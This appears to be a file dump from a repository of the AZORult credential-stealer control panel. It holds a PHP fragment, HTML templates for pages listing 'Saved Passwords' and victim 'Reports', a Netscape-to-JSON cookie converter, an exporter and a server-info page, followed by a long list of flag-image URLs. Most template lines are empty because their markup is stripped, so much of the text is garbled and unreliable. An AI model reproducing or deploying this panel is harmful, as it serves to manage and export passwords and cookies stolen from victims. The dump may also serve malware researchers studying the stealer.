177 | array('Soft', 'count', '%'),
178 | "stat-table",
179 | array(' ', ' ', ' '),
180 | 'reportsgrid'
181 | )."";
182 |
183 | $HTML = $tables;
184 |
185 | $HTML = FileToString('./html/guest.html');
186 | $HTML = str_replace("%PADE_DATA%", $tables, $HTML);
187 | };
188 |
189 |
190 |
191 |
192 | ShowHomePage();
193 | echo $HTML;
194 |
195 | ?>
--------------------------------------------------------------------------------
/panel/html/cookiesconverter.html:
--------------------------------------------------------------------------------
1 |
2 |
Cookies converter: Netscape to JSON
3 |
45 |
NETSCAPE:
46 |
47 |
48 |
49 |
50 |
51 |
JSON:
52 |
53 |
54 |
55 |
--------------------------------------------------------------------------------
/panel/html/exporter.html:
--------------------------------------------------------------------------------
1 |
2 |
Exporter
3 |
4 |
5 |
6 |
15 |
16 |
Output:
17 |
18 |
19 |
20 |
--------------------------------------------------------------------------------
/panel/html/fullpage.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
AZORult
4 |
5 |
6 |
7 |
8 |
9 |
10 |
24 |
25 |
26 |
27 |
33 |
34 |
35 |
36 | %MENU%
37 |
38 |
39 |
40 |
41 |
42 |
43 | %PADE_DATA%
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
--------------------------------------------------------------------------------
/panel/html/guest.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
AZORult
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
Guest stat
14 |
15 |
16 | %PADE_DATA%
17 |
18 |
19 |
20 |
21 |
--------------------------------------------------------------------------------
/panel/html/home.html:
--------------------------------------------------------------------------------
1 |
276 |
277 |
278 |
279 |
Main Page
280 |
281 |
282 |
283 |
284 |
285 |

Stats
286 | %STATS%
287 |
288 |
289 |
290 |
291 |
292 |
293 |
294 |
295 |
296 |

Config
297 |
298 |
378 |
379 |
380 |
381 |
382 |
383 |
389 |
390 |
391 |
392 |
393 |
394 |

Control
395 |
396 |
397 |
398 |
399 |
400 |
401 |
402 |
407 |
408 |
413 |
414 |
419 |
420 |
421 |
422 |
423 |
424 |
425 |
426 |
--------------------------------------------------------------------------------
/panel/html/importantlinks.html:
--------------------------------------------------------------------------------
1 |
2 |
Important links
3 |
4 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/panel/html/login.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
10 |
11 |
--------------------------------------------------------------------------------
/panel/html/menu.html:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/panel/html/passwords.html:
--------------------------------------------------------------------------------
1 |
2 |
Saved Passwords [%count%]
3 |
4 |
5 |
6 |
7 |
8 |
Hide FiltersShow Filters
9 |
10 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
91 |
--------------------------------------------------------------------------------
/panel/html/reports.html:
--------------------------------------------------------------------------------
1 |
2 |
Reports [%count%]
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
Hide FiltersShow Filters
12 |
13 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
92 |
93 |
94 |
--------------------------------------------------------------------------------
/panel/html/serverinfo.html:
--------------------------------------------------------------------------------
1 |
2 |
SERVER INFO
3 |
Panel version: 3.2
4 |
PHP Version: %phpversion%
5 |
6 |
"files" folder writable: %filesw%
7 |
"config.json" writable: %configw%
8 |
"links.txt" writable: %linksw%
9 |
Basic settings
10 |
11 |
12 |
13 | Variable |
14 | Value |
15 |
16 | post_max_size | %post_max_size% |
17 | upload_max_filesize | %upload_max_filesize% |
18 | max_input_time | %max_input_time% |
19 | max_execution_time | %max_execution_time% |
20 | memory_limit | %memory_limit% |
21 | error_log | %error_log% |
22 |
23 |
24 |
25 |
Functions and modules
26 |
27 |
28 |
29 | Name |
30 | Value |
31 |
32 | iconv | %iconv% |
33 | JSON | %jsonmodule% |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
Hide
44 |
Show php.ini
45 |
46 | %phpini%
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
Hide
64 |
Show phpinfo
65 |
66 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
--------------------------------------------------------------------------------
/panel/img/cfg.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/cfg.png
--------------------------------------------------------------------------------
/panel/img/filter_minus.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/filter_minus.png
--------------------------------------------------------------------------------
/panel/img/filter_plus.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/filter_plus.png
--------------------------------------------------------------------------------
/panel/img/flags/aa.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/aa.png
--------------------------------------------------------------------------------
/panel/img/flags/ad.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ad.png
--------------------------------------------------------------------------------
/panel/img/flags/ae.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ae.png
--------------------------------------------------------------------------------
/panel/img/flags/af.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/af.png
--------------------------------------------------------------------------------
/panel/img/flags/ag.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ag.png
--------------------------------------------------------------------------------
/panel/img/flags/ai.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ai.png
--------------------------------------------------------------------------------
/panel/img/flags/al.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/al.png
--------------------------------------------------------------------------------
/panel/img/flags/am.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/am.png
--------------------------------------------------------------------------------
/panel/img/flags/an.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/an.png
--------------------------------------------------------------------------------
/panel/img/flags/ao.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ao.png
--------------------------------------------------------------------------------
/panel/img/flags/ar.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ar.png
--------------------------------------------------------------------------------
/panel/img/flags/as.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/as.png
--------------------------------------------------------------------------------
/panel/img/flags/at.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/at.png
--------------------------------------------------------------------------------
/panel/img/flags/au.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/au.png
--------------------------------------------------------------------------------
/panel/img/flags/aw.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/aw.png
--------------------------------------------------------------------------------
/panel/img/flags/ax.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ax.png
--------------------------------------------------------------------------------
/panel/img/flags/az.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/az.png
--------------------------------------------------------------------------------
/panel/img/flags/ba.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ba.png
--------------------------------------------------------------------------------
/panel/img/flags/bb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/bb.png
--------------------------------------------------------------------------------
/panel/img/flags/bd.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/bd.png
--------------------------------------------------------------------------------
/panel/img/flags/be.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/be.png
--------------------------------------------------------------------------------
/panel/img/flags/bf.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/bf.png
--------------------------------------------------------------------------------
/panel/img/flags/bg.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/bg.png
--------------------------------------------------------------------------------
/panel/img/flags/bh.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/bh.png
--------------------------------------------------------------------------------
/panel/img/flags/bi.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/bi.png
--------------------------------------------------------------------------------
/panel/img/flags/bj.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/bj.png
--------------------------------------------------------------------------------
/panel/img/flags/bm.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/bm.png
--------------------------------------------------------------------------------
/panel/img/flags/bn.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/bn.png
--------------------------------------------------------------------------------
/panel/img/flags/bo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/bo.png
--------------------------------------------------------------------------------
/panel/img/flags/br.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/br.png
--------------------------------------------------------------------------------
/panel/img/flags/bs.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/bs.png
--------------------------------------------------------------------------------
/panel/img/flags/bt.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/bt.png
--------------------------------------------------------------------------------
/panel/img/flags/bv.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/bv.png
--------------------------------------------------------------------------------
/panel/img/flags/bw.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/bw.png
--------------------------------------------------------------------------------
/panel/img/flags/by.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/by.png
--------------------------------------------------------------------------------
/panel/img/flags/bz.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/bz.png
--------------------------------------------------------------------------------
/panel/img/flags/ca.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ca.png
--------------------------------------------------------------------------------
/panel/img/flags/catalonia.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/catalonia.png
--------------------------------------------------------------------------------
/panel/img/flags/cc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/cc.png
--------------------------------------------------------------------------------
/panel/img/flags/cd.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/cd.png
--------------------------------------------------------------------------------
/panel/img/flags/cf.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/cf.png
--------------------------------------------------------------------------------
/panel/img/flags/cg.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/cg.png
--------------------------------------------------------------------------------
/panel/img/flags/ch.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ch.png
--------------------------------------------------------------------------------
/panel/img/flags/ci.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ci.png
--------------------------------------------------------------------------------
/panel/img/flags/ck.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ck.png
--------------------------------------------------------------------------------
/panel/img/flags/cl.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/cl.png
--------------------------------------------------------------------------------
/panel/img/flags/cm.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/cm.png
--------------------------------------------------------------------------------
/panel/img/flags/cn.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/cn.png
--------------------------------------------------------------------------------
/panel/img/flags/co.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/co.png
--------------------------------------------------------------------------------
/panel/img/flags/cr.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/cr.png
--------------------------------------------------------------------------------
/panel/img/flags/cs.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/cs.png
--------------------------------------------------------------------------------
/panel/img/flags/cu.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/cu.png
--------------------------------------------------------------------------------
/panel/img/flags/cv.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/cv.png
--------------------------------------------------------------------------------
/panel/img/flags/cx.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/cx.png
--------------------------------------------------------------------------------
/panel/img/flags/cy.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/cy.png
--------------------------------------------------------------------------------
/panel/img/flags/cz.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/cz.png
--------------------------------------------------------------------------------
/panel/img/flags/de.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/de.png
--------------------------------------------------------------------------------
/panel/img/flags/dj.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/dj.png
--------------------------------------------------------------------------------
/panel/img/flags/dk.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/dk.png
--------------------------------------------------------------------------------
/panel/img/flags/dm.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/dm.png
--------------------------------------------------------------------------------
/panel/img/flags/do.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/do.png
--------------------------------------------------------------------------------
/panel/img/flags/dz.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/dz.png
--------------------------------------------------------------------------------
/panel/img/flags/ec.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ec.png
--------------------------------------------------------------------------------
/panel/img/flags/ee.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ee.png
--------------------------------------------------------------------------------
/panel/img/flags/eg.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/eg.png
--------------------------------------------------------------------------------
/panel/img/flags/eh.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/eh.png
--------------------------------------------------------------------------------
/panel/img/flags/england.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/england.png
--------------------------------------------------------------------------------
/panel/img/flags/er.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/er.png
--------------------------------------------------------------------------------
/panel/img/flags/es.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/es.png
--------------------------------------------------------------------------------
/panel/img/flags/et.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/et.png
--------------------------------------------------------------------------------
/panel/img/flags/eu.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/eu.png
--------------------------------------------------------------------------------
/panel/img/flags/europeanunion.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/europeanunion.png
--------------------------------------------------------------------------------
/panel/img/flags/fam.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/fam.png
--------------------------------------------------------------------------------
/panel/img/flags/fi.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/fi.png
--------------------------------------------------------------------------------
/panel/img/flags/fj.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/fj.png
--------------------------------------------------------------------------------
/panel/img/flags/fk.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/fk.png
--------------------------------------------------------------------------------
/panel/img/flags/fm.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/fm.png
--------------------------------------------------------------------------------
/panel/img/flags/fo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/fo.png
--------------------------------------------------------------------------------
/panel/img/flags/fr.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/fr.png
--------------------------------------------------------------------------------
/panel/img/flags/ga.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ga.png
--------------------------------------------------------------------------------
/panel/img/flags/gb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/gb.png
--------------------------------------------------------------------------------
/panel/img/flags/gd.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/gd.png
--------------------------------------------------------------------------------
/panel/img/flags/ge.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ge.png
--------------------------------------------------------------------------------
/panel/img/flags/gf.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/gf.png
--------------------------------------------------------------------------------
/panel/img/flags/gh.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/gh.png
--------------------------------------------------------------------------------
/panel/img/flags/gi.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/gi.png
--------------------------------------------------------------------------------
/panel/img/flags/gl.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/gl.png
--------------------------------------------------------------------------------
/panel/img/flags/gm.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/gm.png
--------------------------------------------------------------------------------
/panel/img/flags/gn.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/gn.png
--------------------------------------------------------------------------------
/panel/img/flags/gp.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/gp.png
--------------------------------------------------------------------------------
/panel/img/flags/gq.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/gq.png
--------------------------------------------------------------------------------
/panel/img/flags/gr.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/gr.png
--------------------------------------------------------------------------------
/panel/img/flags/gs.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/gs.png
--------------------------------------------------------------------------------
/panel/img/flags/gt.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/gt.png
--------------------------------------------------------------------------------
/panel/img/flags/gu.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/gu.png
--------------------------------------------------------------------------------
/panel/img/flags/gw.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/gw.png
--------------------------------------------------------------------------------
/panel/img/flags/gy.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/gy.png
--------------------------------------------------------------------------------
/panel/img/flags/hk.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/hk.png
--------------------------------------------------------------------------------
/panel/img/flags/hm.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/hm.png
--------------------------------------------------------------------------------
/panel/img/flags/hn.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/hn.png
--------------------------------------------------------------------------------
/panel/img/flags/hr.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/hr.png
--------------------------------------------------------------------------------
/panel/img/flags/ht.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ht.png
--------------------------------------------------------------------------------
/panel/img/flags/hu.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/hu.png
--------------------------------------------------------------------------------
/panel/img/flags/id.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/id.png
--------------------------------------------------------------------------------
/panel/img/flags/ie.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ie.png
--------------------------------------------------------------------------------
/panel/img/flags/il.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/il.png
--------------------------------------------------------------------------------
/panel/img/flags/in.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/in.png
--------------------------------------------------------------------------------
/panel/img/flags/io.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/io.png
--------------------------------------------------------------------------------
/panel/img/flags/iq.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/iq.png
--------------------------------------------------------------------------------
/panel/img/flags/ir.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ir.png
--------------------------------------------------------------------------------
/panel/img/flags/is.png:
--------------------------------------------------------------------------------
